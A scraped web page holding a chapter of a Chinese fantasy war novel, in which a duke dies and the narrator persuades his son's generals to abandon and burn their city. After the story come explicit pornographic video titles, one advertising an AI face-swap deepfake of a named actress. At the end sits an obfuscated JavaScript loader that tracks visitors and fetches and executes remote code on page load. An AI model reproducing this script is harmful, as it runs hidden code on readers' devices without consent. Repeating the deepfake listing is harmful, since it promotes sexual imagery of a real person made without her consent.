  “这是我生活守护了四十六年的热土啊,”金沙公爵喟然叹息道:“真不捨得就这样离开,真想再见翡雅他们一面,也真想亲手把兽人族赶出我的家园——可惜,要说永别了——”
周围的将士泣声一片,不约而同的向公爵跪倒,一股永恆的痛彻心扉的悲恸瀰漫在夜的空气中。
  “快意恩仇,马革裹尸,我已无悔,只是对不起陛下的隆恩,惟有来世再报!”金沙公爵目望西方,那是帝都的方向,却遮掩在无边的硝烟里。
  “父亲!”德博情不能已的叫道,却没能得到回答。
  “父亲!”德博惊恐的大叫道,才发现在说完最后一句话时,金沙公爵已经悄然停止了呼吸。
一代名将,就此辞世!
他走的如此坦然,竟连我都没有察觉究竟是在什么时候。
我端详着他平静的脸庞,在泛白的嘴角边,竟有一丝微笑。
而那目光,依旧眺望西方,坚定,不移!
我深深吸了口气,想压制住心头那种极不舒服的感觉。
这是我第一次目睹身旁熟悉的人死去。
在我手中,在我身边,不知道倒下了多少人,但没有一次能令我如此震撼!
我原以为我可以如从前一样,漠视任何人的离去,然而我错了。
我竟然从心底发出一缕莫名的压抑,望着金沙公爵的遗体,目光沉重如铅。
  “公爵大人!”悲伤的哭声此起彼伏,德博更是依靠在马车上才能勉强站立,即使是镜月公主的眼眸里也泪光荧荧,失去了往日的从容。
我冷冷注视着这一切的发生,看着一个曾经熟悉的人逐渐走远,永远也不回头。
我体内的暗黑能量在呼啸,漫天的杀意涌上心头。
我甚至在问自己,如果当日我同德博一起走,结果是否会不同?
至少,眼前的这个男子是否可以继续伫立在千军万马前?
  “将军!”一名斥候飞马从后赶到,在马上就叫道:“兽人族的主力已距此不到十里,在红石城下也发现了敌军的小股先头部队!”
德博默默无语,小心翼翼的将金沙公爵放入马车平躺。
然后,转身拔起柱在地上的长剑,面色冷静的可怕。
  “你要干什么?”我冷冷问。
德博翻身上了坐骑,仇恨的目光望向北方,咬牙切齿道:“我要杀尽那帮蛮族,为老爸报仇!”
  “对,为公爵大人报仇!”得到提醒的将士们纷纷起身,群情激昂的吼着。
我冷笑道:“你们想去送死么?就这么一点人,给兽人族的前锋部队填牙缝也欠奉。”
  “我不管!”德博低吼道,神色狰狞可怕。
我蓦然伸手,一把将德博从马上拽下,拉到马车前,将他的头摁着探向金沙公爵,冷笑道:“看看你父亲再说!他英雄一世,至死都慷慨从容,怎么生了你这么一个没出息的儿子?要知道这样,他会将重任转託在你身上么?”
德博冰冷的眼神看着我,徐徐道:“修岚,放开我,不要阻止我去複仇,如果你还当我是朋友!”
我飞起一巴掌响亮的拍在他的脸颊上,低声喝道:“就当你这混蛋是朋友我才阻止你,否则你去死又管我什么事?”
德博一个趔趄,愕然望着我。
我冷笑道:“你看看你身边这些疲惫不堪的将士,他们最多还剩几千人,就算加上其他的部队也不过一两万,能够是兽人族的对手么?你死了不要紧,他们死了也不要紧,可是你背后的红石城怎么办,你父亲的嘱託怎么办?光靠一点蛮力就能解决所有问题么,我实在想鄙视你!”
德博手抚面颊怔怔不语,镜月公主走到他的身旁柔声道:“德博,修岚说的没有错。我们所有人都恨不能立刻就为公爵报仇。可眼前形势下这样莽撞的行动只会令我们失去最后的一丝复仇希望却于事无补,你需要冷静一些!”
德博的面色渐渐柔和,却呆呆问道:“难道,就这样任由那群蛮族在我们的土地上肆虐,任由我父亲的鲜血白流么?”
我凝视着他,徐徐道:“放心吧,德博。我修岚答应你,无论如何也要帮你将兽人族赶出东疆,更要将空翔的人头取下祭奠公爵!”
德博眼神中的仇恨与疯狂渐渐消退,取而代之的是一缕暖意和镇静。他向我重重点头道:“我相信你,修岚!”
我微笑道:“我也同样相信,你会成为一名好的统帅。”
见气氛鬆弛,镜月公主微微一笑,问道:“德博将军,你脸上的伤没事吧?”
德博苦笑道:“这个家伙打的好重,还好我皮厚。不过算了,谁叫我们是好朋友,好兄弟呢?”
我注视着这个刚刚失去父亲的年轻人,微笑道:“不错,我们是朋友,更是兄弟。”
就这样,在我和德博的指挥下,在兽人族主力赶到前,我们撤进了红石城。
费罗等人早在城门前翘首以待,出乎意料,在人群中我居然看见了萨顿。
  “修岚!”一声亮丽的呼声响起,翡雅宛如一羽快乐的小鸟飞扑到我的怀里,娇憨道:“人家都等了你这么久,怎么这晚才到?”
我搂着她的腰肢,感受着她火热的胴体芬芳,微笑道:“不过这么会儿就等不及了么?”
翡雅在我耳畔轻轻道:“有一个月没有见到你,日子很难熬哩。”
我哈哈一笑,在她丰满的肌肤上重重拧了一把。
这时德博走过来,勉强向翡雅笑道:“老妹,你见了修岚就忘了哥哥么?”
翡雅一噘嘴道:“我才不想你呢。”发现德博身上有伤,却立刻关切问道:“你怎么受伤了,要不要紧?”
  “没事,一点小伤。”德博回答道。
  “父亲呢?”翡雅左右张望,奇怪的问道。
德博看向我,我回答道:“在后面的马车上。”
  “他怎么了?”
  “你自己去看吧,”德博实在没有勇气亲口说出。
翡雅隐隐预感不对,急忙鬆开我奔向后面的马车。
然后,我听到她悲伤的呼叫,既而周围有人叫道:“小姐昏过去了!”
镜月公主道:“修岚,我来照顾翡雅,你们赶快商议守城的事情吧。”
我点点头,与德博走进城门。
费罗与萨顿迎了上来,费罗低声问道:“公爵大人他?”
我摇摇头,没有回答。费罗已经明白其中含义,神色一黯。
萨顿向我施礼道:“陛下!”
  “你怎么来了?”我问道。
  “是孔孙先生命我赶赴红石城等待陛下的,”萨顿看了眼德博,低声回道:“他说陛下不可能在帝都久留,兽人族的入侵也是一个月之内的事情,没想到全被料中了。”
我明白他眼色中的意思,淡淡道:“我们边走边说。”
  “陛下,孔孙先生着属下转告您,如今在群山之城我们除了沧澜军团以外,还将闇月军团也秘密调入到银盔谷。另外亚德族长的白精灵族5000神箭手,红羽族长的10000高山族战士都悄悄入驻若沂特山谷中,随时可以进入帝国境内作战。”
我一震,转眼望向萨顿。
他向我点点头,微微兴奋道:“孔孙先生说眼下兽人族入侵正可和帝国军队斗的两败俱伤,嘉修陛下命不久焉,只等他一死帝国宫廷势必为了皇位之争乱作疑团。您一定会乘此机会吞併帝国东疆,进而兵压帝都,完成统一大陆的第二步棋。”
这个孔孙,幸好是我的部属,否则我亦只有依靠强横的武力杀死他。
他竟然比我更先预料到局势的发展,甚至早早安排好了作战的部署。
不过,金沙公爵的死恐怕是他唯一没办法预料到的事情。
而这个,也会使得我原本的计划作出相应的改变。
我看了眼身后的德博,沉声道:“这个稍后再说,目前最要紧的是先应付过兽人族在城外的八万大军。”
进了公爵府,我们稍事休息。德博将金沙公爵的遗体陈列在大厅中,迅速布置好了灵堂。
但他却让亲兵守住门口,不允许任何人打扰,说是想静一静。
这却急坏了那些部下,眼见兽人族的大军随时可能攻城,德博却仍沉浸在悲伤中不能恢复,任谁都要急火攻心。
无奈,众将推荐施罗来找我,恳求道:“修岚陛下,德博将军把自己关在灵堂里谁也不肯见,这样下去可不是办法。我们都知道他平时最肯听您的话,麻烦您劝一劝他吧。”
我走到灵堂门口,那几名亲兵一见是我都不敢阻拦。
听见身后的脚步声,德博头也不回的怒道:“不是告诉你们不准打扰我么?”
我走到他身边,淡淡道:“是我,德博。”
  “修岚?”德博转过头,沉默了许久,徐徐说道:“你知道么,我一直站在这里,回忆过去和老爸在一起的点点滴滴。我这才发现,他一直是我心目中最伟大的英雄,也是我的支柱。因为有他在,所以我什么也不用担心,可以无忧无虑的花天酒地。可是他却这么突然的走了,我几乎不知道自己该怎么办好? ”
我望着安详躺在棺木中的公爵遗体,为了防止腐烂,周围堆放着大量的冰块冒着丝丝白气。
  “我躲在这里,是我不知道该怎么指挥老爸的那些部下——他们每个人都比我年长一倍,我不晓得他们是否会服从我的命令?”德博嘶哑的声音道: “我更不知道应该怎么解决眼前的危机,怎么率领他们赶走兽人族的大军?”
  “你要学会承担责任,德博。”我平静的说道:“你已经成为了新任的金沙公爵,整个东疆都在你的治下。他们在等待你发出号令,像你的父亲和先人那样去战斗,去捍卫家族的荣耀。所以,你不能令他们失望。”
  “这些我都知道,”德博痛苦的说:“我明白我肩上的责任,可我现在脑袋里一片空白,又怎么去指挥他们?”
我冷冷道:“如果是这样,你就等着明天一早兽人族为大家收尸吧。”
德博一震,眼睛里有了点神采,徐徐道:“那天我与老爸会合的时候他身旁的队伍只剩下四万,背后是两倍的敌军。所有人都害怕了,希望早一日撤回红石城,利用坚固的城防等待奥里公爵的援军。可老爸却镇定自若,一步步抵抗着兽人族的攻势,足足又在路上拖了他们这么多天!”
我说道:“所以说,这次的失败罪不在公爵。倘若吉桑城的十万帝国军队能够早一步接应,或许连图鹿堡也不会失陷。”
德博双拳紧握,咬牙道:“那群混蛋,我不会放过他们!”
  “光有誓言毫无用处,首先你要学会战斗。”我说道:“只有先活下去,才能为公爵报仇,否则得意的只是敌人。”
  “我明白了!”德博挺了挺胸膛,对我说道:“修岚,你知道花天酒地我在行,行军作战却不及你的一个零头。而且,老爸临终的话里也是希望你能接替他指挥作战,应对时下的危机。所以,我想拜託你,请你帮助我!”
  “你相信我?”
  “是,”德博重重点头道:“我相信只有你才能帮助我们走出眼前的困境,帮助我为父亲报仇!”
我默然凝望着金沙公爵的棺木,此刻的他是如许安静,再不会因城外的金鼓而振奋扬剑。
第六章烈火焚城
片刻之后,聚集在外面的十几名高级将领在施罗的率领下静静走进灵堂,萨顿和费罗也跟了进来。
没有人喧哗,甚至连脚步也放到最轻。
所有人的表情都异常沉重,有几名将领的眼睛略略有些红肿,看的出刚才在外面哭过。
在向金沙公爵的遗体行礼过后,灵堂里瀰漫着一片哀伤与啜泣声。
大家极力克制着心中悲愤的情绪,可我分明感觉到这灵堂宛如一座死寂的火山,随时可能爆发出灼热的熔岩。
没有人愿意接受这样一个残酷的现实,但毕竟它已发生。
这些从鲜血死亡中一路挣扎过来的帝国将军,此刻已是泪流满面。
无声,有时却比纵情的哭号更加痛苦。
施罗站直身躯,沉声道:“德博将军,公爵大人光荣战死,如今你就是红石城之主。我相信没有人会对此表示异议,现在就请你来主持大局吧!”
德博环顾这群公爵的部下,苦涩的一笑道:“我太清楚自己是什么材料了,如果不是因为我是金沙公爵的儿子,不是因为我的父亲死在了兽人族的手上,我恐怕早就逃的没影了。对于我来说,战争远不比美女与醇酒来的有诱惑。”
这话如果在别的场合说出,或许会引起人们会心一笑,但这时却无人再有这样心情。
  “可是,我现在却愿意承担起这个责任,与大家同生共死,跟北方联盟决战到底!”德博的声音坚定有力,再不似往日诙谐浮夸的模样,徐徐道:“即使战到最后一人,最后一滴血,我德博也决不放弃!”
施罗等人顿感热血沸腾,不约而同的叫道:“愿听从德博将军号令,死战到底,为公爵大人复仇!”
萨顿在我身旁轻轻的道:“原来德博这个家伙除了会花言巧语欺骗少女外,对付老男人也挺有一套。”
我冷哼一声,萨顿赶紧住口不语。这个家伙比德博更混蛋,永远没有正经的时候。
德博苦笑道:“谢谢诸位将军,不过如果大家听我德博的命令作战,只怕死的会更快。说到打仗,我比在座任何一位都外行。何况,公爵大人在临终的时候,已经对此早有安排,为我们请出了一位真正的军事天才,相信只有他能领导我们走出困境,为我父亲,为千万死去的同胞报仇!”
这小子,就这么轻易把我卖了。
施罗疑惑的问道:“德博将军,你说的这人是谁?”
德博一拍我的肩膀,望着众人道:“就是比亚雷尔的修岚陛下!”
此言一出,满堂哗然。
对于这些人来说,接受一个外人的指挥,远比接受德博这样毫不懂作战的贵族公子来的更加困难。
或许,这是他们所谓的自尊心和帝国战士的荣誉感在愚蠢的作祟。
一名头髮花白的老将说道:“修岚陛下的军事才华有目共睹,可是毕竟您是比亚雷尔的国王,怎么能够——”
德博打断他的话,徐徐道:“保罗将军,这不仅是我的想法,也是公爵大人临终前的意思。在他看来,目前恶劣的局势下惟有修岚陛下能够拯救危局,帮助我们对抗十万兽人族大军。难道你们连我父亲的决断都不相信么?”
众人面面相觑,被金沙公爵的大帽子给暂时压住。
我却知道,他们心里都存着不服和怀疑。
但我始终没有说话,这个时候我的沉默才是最佳选择。
德博当然也清楚,他更明白一旦这些人不能完全服从信任我,将带来怎样的后果。
他苦笑道:“诸位将军,公爵大人生前唯一推崇的就是修岚陛下。所以他才毫不犹豫将翡雅许配给陛下为妻,从这层意义上说修岚陛下与我不仅不是外人,反而是手足兄弟。何况,他还是镜月公主殿下的未婚夫,嘉修陛下所赏识的外孙,这些就足够让人相信他的血管里也流淌着我们蒙思顿人的热血!”
或许是这些该死的血缘发生了效用,大家的面色缓和了不少。
施罗犹豫一会,又用目光询问了几名重将,见他们都保持着沉默,于是道:“德博将军,我们大家都想知道面对眼前的战局,修岚陛下有怎样的计划和打算,又如何应对城外的八万敌军?”
德博微微一笑,用信任的目光望向我。
  “谁能告诉我目前红石城中的情况?”我并不着急回答他的问题,而是反问道。
沉默了一会,保罗将军回答道:“原先公爵大人在城内留守了一万五千名士兵,由我统帅。再加上从前线撤退回来的部队,粗略估计总数大约有三万人左右,不过具体的数字很可能要等明天统计过才知道。”
三万人左右,这个结果已经比我预料的要好不少。
  “天一亮,兽人族的大军便会攻城,我们的时间不多了。”我转问德博道:“你可否告诉我依仗红石城的城防,我们这些人能够支撑多久?”
德博一怔,苦笑道:“我也不知道,也许大家众志成城可以拼上几天吧。”
一路的惨败已令所有人信心受挫,士气低靡,看看那些号称身经百战的将领们,面色也好不到什么地方去。
  “拼一天是一天,听说奥里公爵的援军很快就会到了!”保罗将军说道。
我的目光如电,凝视在他愤慨激昂的脸上,冷笑道:“奥里公爵的军队要赶到红石城最少还有半月,到时恐怕只能给大家收尸了。即使我们能够坚持到那个时候,他的六万人马又能否扭转战局?”
这点常识大家总是有的,施罗替同僚解围道:“修岚陛下,您说的这点我也同意。既然指望不上奥里公爵的援军,目前我们又该怎么办?”
我徐徐道:“红石城已不可守,也无任何坚守的意义。对于能够从空中发动进攻的翼人部落,城防更是毫无作用,我想图鹿堡的失守原因也大半在此。”
亲历过图鹿堡大战的那些将领纷纷点头,眼里流露出即惊恐又愤怒的神情。
  “那么,修岚你的意思是——”德博疑惑的问道。
  “弃城!”
我的声音冰冷而不带丝毫感情,就彷佛是在说一件极为普通琐碎的小事,却在静肃的灵堂中生出巨大的反响。
  “什么,弃城?不可以!”保罗将军激动的全身颤抖,大叫道:“红石城是公爵大人生前苦心经营了几十年的结晶,是翟亚司郡的首府!丢了它就等于丢了全郡,更是丢了大家的脸,我们还有什么面目去见公爵大人?”
另一名年轻将军似乎恨不得拔剑杀了我,怒视着我吼道:“不管你是谁,想让我们不战而逃,放弃红石城,我泰格第一个不答应!”
也有人躲在人群之中,用轻蔑的目光瞥着我,轻轻的嗤之以鼻道:“什么军事天才,不过是比亚雷尔懦夫!”
闻听有人辱骂,费罗与萨顿眼中寒光一闪就想拔剑,却被我悄然阻止。
今天晚上,不晓得为什么,我的耐心好的出奇。
也许,是因为我不想在金沙公爵的遗体前作出为难德博的事情。但忍耐也总有限度,超越了这个限度即使是神是魔,我也一样要了他的脑袋。
他们的反应早在我意料之中,我漠然旁观着这群人慷慨激动的表演,却注意到除了萨顿与费罗外,居然还有三个人没有加入到声讨我的阵营中。
一个是施罗,他若有所思的站在德博身边,嘴唇动了几下终于还是忍住。
另一个是被我特许召来的格隆索,疑惑的望着我也没有开口。
德博猛然大声喝道:“都给我住口!修岚这么说一定有他的道理,谁要笑他是胆小鬼我德博第一个不答应。你们是否知道当日是谁孤身深入黑旗团,在上千人的包围中刺杀查戈?是谁在几万头饿狼的围攻里返身回来救了我?你们中有几人敢说自己有这样的勇气,却凭什么指责我的朋友?”
众人被德博的怒喝震住,灵堂里顿时鸦雀无声,几乎那一根针落下的声音也能够听清。
静,那比冰更凉的静。
夜风吹入,隐约传来城外兽人族嚣张的呼啸,隆隆的雷鼓,还有那浓重的血腥味道。
当天明的时候,新的杀戮又将开始。
而我则要改变历史的轨迹,让它向另一个截然不同的方向运行。
我淡淡道:“我们需要的不是死守住红石城,而是彻底将兽人族赶出蒙思顿。将三万将士的生命浪费在这里毫无意义,一城一地的得失相比消耗敌人的有生力量,获取最后的胜利而言根本算不了什么。如果连这个道理都不懂得,大家最好都脱下身上的盔甲,回家去做平民算了。”
众人一怔,隐隐约约开始明白我的意图。
施罗迟疑片刻,开口问道:“修岚陛下,如果放弃了红石城,我们这三万多人又能到哪里去呢,是向南撤退争取早日与奥里公爵的大军会合还是向西往莱斯特郡?”
我胸有成竹的一笑,吩咐费罗在地上铺开早已準备好的帝国东疆地图。整个翟亚司郡都在群山起伏的环抱中,中部的丘陵地带孕育了包括红石城在内的东疆九城中的一多半。最东是若沂特山脉,最北则是高比迪山,图鹿堡便坐落在其上,扼守着帝国东北的门户。再向西北百多里,就是吉桑城,地势比图鹿堡更加险要,但战略意义却小的多。
正因如此,兽人族大军才把吉桑城的十万帝国军队扔在一边不管,直接攻占图鹿堡,仅留下加奈特的两万夜狼战士负责维护大后方的安全。
  “这里是红石城,这里是图鹿堡,”我用剑鞘轻点地图说道:“两者间的距离是三百九十一公里,当中有四道关隘,仅以一条公路连接。在公路两旁完全是深山密林,人迹罕至的蛮荒地带,却隐藏着无数崎岖小道可供行军,我们下一步的战场就在那里。”
  “是向北面,深入到敌后?”德博蹲下身子注视着地图,愕然道:“修岚,那里可都是北方联盟的势力範围,我们这三万万一被兽人族的斥候发现,到时候几万敌人包围上来想走也走不了啦。”
  “没有那么悲观,”我胸有成竹的回答道:“首先,兽人族绝对想不到我们会往北进;其次,我们专挑林深山高的偏僻路线,再加上夜间行军,即使是翼人斥候也难以发现。”
  “可是我们到那里去做什么呢?”泰格皱眉道:“切断他们的补给线,骚扰他们的后方基地么?”
我不以为然的道:“只扰乱他们的补给线未免太小打小闹了点,我要的是图鹿堡!”
  “啊?”众人惊讶的望着我,被我的大胆近乎不可实现的计划所惊呆。
这时恐怕没人敢再讥笑我是懦夫,多半又在心里以为我疯了。
施罗苦笑道:“根据我们的情报,图鹿堡有灵猿部落的4000守军,这倒没什么。可在它身后还屯着夜狼部落的两万大军,威灵伯爵就是这么完蛋的。 ”
  “何况,图鹿堡以北二十公里就进入北方联盟的国土,他们随时可能派遣援军。”保罗补充道。
  “我不是威灵侯爵,历史也不可能重演。”我回答道:“你们设想一下,倘若帝国大军突然出现在图鹿堡前,摆出一副围攻的架势,对方将作何反应?”
  “自然是坚守不出,再向夜狼部落求援了。”德博说道:“这样的可能性连我这个外行也能猜到。”
我微笑道:“不错,加奈特闻讯后也一定会援救,因为他知道图鹿堡对于兽人族大军的重要性。但从他驻扎的营地赶到图鹿堡最近的一条路就是经过吉桑山南麓,也就是当日威灵伯爵中伏的地方。我们真正的主力便该隐藏在那里,等待好好的招待他们。”
  “可是,可加奈特会上当么。他的夜狼部落两万人马我们这点兵力又是否吃的下?”泰格犹豫道,对于夜狼部落,尤其是一万狼骑兵的战斗力任何人都是不敢忽视。
  “他会来的,而且一定会走我设计的道路。越是自负的人就越会中最简单的计谋。以加奈特的才智,绝对不会相信有人敢在曾经伏击威灵伯爵的地方用同样方式等候他。至于兵力问题,大家别忘记,在吉桑城还空坐着帝国的五万大军。我们完全可以加以利用,以四比一的兵力进行伏击,即使是狼骑士也同样要它遗恨沙场!”
我没有将更深一步的想法说出,如果对付普通敌人四比一的兵力优势该足够了,但加奈特决没有那么简单,好在我还有着其他的考虑。
众人的眼睛一亮,彷彿中看见了胜利的曙光。
儘管他们都报着不屈的信念,但谁也不敢对面前的局势乐观。然而我的计划,却使得他们看到了胜利的可能。
保罗一拍大腿兴奋道:“太好了!只要把加奈特的两万人马解决,图鹿堡即可手到擒来。到时候只等帝国援军一到,我们南北夹击,看这群畜生怎么活?”
格隆索也忘记了自己是其中身份最低微的一个,说道:“而且图鹿堡里囤积着兽人族大量的粮食与辎重,丢了这些,他们今后的补给也要大为头疼。”
萨顿见众人终于领会到我的战略意图,开始不再怀疑,解气的哼道:“你们总算明白过来了。”
德博嘿然道:“萨顿小子,你又是几时明白的?”
萨顿一怔,嘟囔道:“我总比你这家伙领悟的早。”
保罗倒是知错就改,由衷叹道:“我却是现在才明白当日考兰实在败的不冤!”
施罗老谋深算,依旧有些担忧道:“伊斯特尔伯爵肯听从修岚陛下与德博将军的号令么?如果他不愿意交出兵权又该如何?”
我冷笑道:“我希望他这样,正好可以杀了他将五万人马彻底的收入我们手里。顺便,也为金沙公爵报仇。”
众人对威灵伯爵、伊斯特尔伯爵的见死不救早怀恨在心,前者已经战死这笔帐只好算了,可无论如何也不能再便宜了后者。因而,我的想法一提出头一回得到大多数人的讚同。
不少人在底下叫道:“对,杀了他,为公爵大人出气报仇!”
泰格更是嘿嘿冷笑道:“我看,乾脆连话也别跟他多说,杀了他完事。”
施罗苦笑道:“再怎么说他也是一军主帅,帝国伯爵,即使公爵大人在世也无力动他,何况是我们?一旦真杀了他,后果——”
德博哼道:“什么后果?他害死我老爸,就得偿命,这就是后果!陛下那里我会去承担,与大家没关係。”
大家见德博这么说更没了异议,甚至不少人心中欣慰将门虎子,德博果然够种。
我见时机成熟,旧话重提道:“你们该明白我为什么要放弃红石城的原因了,如果在平原作战,又或者围绕城池攻防,我们目前决不是兽人族的对手。惟有不计较一城一地的得失,利用翟亚司郡的高山密林掩护与其周旋,令他的翼人部落空有製空优势无从发挥,令大熊部落的黑盔武士在山路上疲于奔命,不能施展,我们才有机会转败为胜!”
  “明白了!”泰格叫道:“兵书上说欲要取之,必先予之,就是这个道理。我们送一座红石城给他,将来要加倍的讨还!”
  “你错了,”我纠正道:“连这座红石城兽人族也休想完整的得到。”
  “什么?”
  “到天亮还有一段时间,足够我们再做一些安排。首先将城内还没有离开的平民全部撤走,不肯走的用鞭子赶也要赶走。然后从仓库中携带走够大军十天的给养,剩下的原封不动摆在那里。”
  “这不是要便宜兽人么?”德博诧异的问道。
  “他们什么也得不到,等明天晚上我将一把火全部烧光。不仅是军用物资,包括所有有战略价值的物品,建筑,辎重,一点也不能留。如果不是考虑到我们很快就要回来,我甚至要将整座城全部烧毁,让他们的大军得不到半点补充。”
至于为什么不是立刻焚毁,一来我不想过早惊动兽人族大军,暴露我们弃城的意图;更妙的是,或许能够将他们搬运进城的给养辎重也一起报销。
  “那这座城不是要毁了?”保罗问道。
  “放心吧,到时候兽人要比我们更紧张,他们会不惜一切代价救火,我们也正可以利用这段混乱从红石城西面的山林里转军向北,把他们远远甩在后面! ”
  “如果我们再留一些人,乘乱大杀一通不是更好?”德博两眼放光道。
  “没那个必要,而且留下的人太多就很难逃脱翼人的斥候侦察。”我说道:“德博,公爵府或者其他地方该都有一些通往城外的秘道吧,将这些秘道都画下来交给费罗。明天晚上,就由费罗、库塞和保罗将军三人率领两百名精干好手进行放火计划,而后从秘道撤走。”
那两百人,必要时候为了完成计划,我已作好了全部牺牲的打算。不过以库塞、费罗和保罗的实力,他们本人该可全身而退。
  “这点没问题,”德博拍胸脯道。
  “格隆索,你率领部下立刻行动,将城里的居民统统在天亮前撤走。要是留下一个人,我就砍你一根手指。”
  “是,修岚陛下!”格隆索知道我不是说着玩,急忙出去安排。
  “保罗,整合退入城内的军队,分批从南门撤出,不准点火把,不准喧哗,以最快速度进入高基略山,在卡泽森林中集结休整。”
  “泰格,去準备燃烧的松油,记得加一点香料消除异味。”
  “施罗,在城头点起火把,扎上稻草人,多竖几面军旗,要让兽人族以为我们打算死守待援。”
我的命令一道接一道,很快灵堂中的将领走了大半。
有了明确的目标和希望,他们的步履都轻快了不少。
镜月公主陪着翡雅走了进来,少女美丽的脸庞因父亲之死而无比忧伤,失去了往日的欢笑与活泼。
当目光触及停放公爵遗体的棺木,本以已流乾的泪水再次无声滑落,无助的啜泣着。
德博安慰道:“翡雅,别哭了,老爸一定也不喜欢你这样。要知道,他生前可是最喜欢听你的笑声——”他还想继续说下去,却鼻子一酸,赶紧转头。
不知道过了多久,翡雅渐渐停止哭泣,抬起头望着我,目光变的坚定,嘶哑着声音道:“修岚,德博,你们出征的时候一定要带上我。我要同大家一起战斗,为父亲报仇!”
我点点头,说道:“你们都去準备一下,天亮前我们就必须离开。”
德博苦笑着,走到灵堂的门前,眺望着远方天际,徐徐说道:“就要离开这个地方,将这座美丽的城市让给兽人,还真有点捨不得啊。”
  “是战争,总要付出代价。”我淡淡的说道:“很快,我们就会回来,到时候无数兽人族战士的尸体就是最好的回报。”
德博向我重重的点头,深深吸了口气喃喃道:“这夜,什么时候才能过去?”
猜你喜欢下面这些


  • 母子姦藤咲紫GVH-596


    母子姦藤咲紫GVH-596
    268人观看

    母子姦藤咲紫GVH-596

  • MIAA-793 突然逆搭讪巨臀婊子痴女! 揉捏臀部攻击颜面骑乗!持续打桩强压给你射精 弥生美月 MIAA-793


    MIAA-793 突然逆搭讪巨臀婊子痴女! 揉捏臀部攻击颜面骑乗!持续打桩强压给你射精 弥生美月 MIAA-793
    333人观看

    MIAA-793 突然逆搭讪巨臀婊子痴女! 揉捏臀部攻击颜面骑乗!持续打桩强压给你射精 弥生美月 MIAA-793

  • SSIS-157 轻蔑的中年性骚扰上司与H罩杯巨乳部下出差住同房… 持续绝伦性交到早上的一夜 小宵虎南


    SSIS-157 轻蔑的中年性骚扰上司与H罩杯巨乳部下出差住同房… 持续绝伦性交到早上的一夜 小宵虎南
    683人观看

    SSIS-157 轻蔑的中年性骚扰上司与H罩杯巨乳部下出差住同房… 持续绝伦性交到早上的一夜 小宵虎南

  • WH-刘玥-网黄邀请姊妹共同品尝一根大屌17


    WH-刘玥-网黄邀请姊妹共同品尝一根大屌17
    751人观看

    WH-刘玥-网黄邀请姊妹共同品尝一根大屌17

  • 媚黑少妇看见大黑屌口水都流出来了迫不及待的跪着舔


    媚黑少妇看见大黑屌口水都流出来了迫不及待的跪着舔
    68人观看

    媚黑少妇看见大黑屌口水都流出来了迫不及待的跪着舔

  • 精品泄密,美女多多6


    精品泄密,美女多多6
    16人观看

    精品泄密,美女多多6

  • 迪丽热巴黑丝包臀裙内射高潮-AI换脸


    迪丽热巴黑丝包臀裙内射高潮-AI换脸
    861人观看

    迪丽热巴黑丝包臀裙内射高潮-AI换脸

function xZUWksQK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function PUjpG(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xZUWksQK(t);};window[''+'J'+'N'+'A'+'G'+'t'+'v'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iwUzp(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=PUjpG,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iwUzp(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iwUzp(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmNzcHN4aC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5kdGZhb2kuY24lM0E5NTTM0','168623',window,document,['l','T']);}:function(){};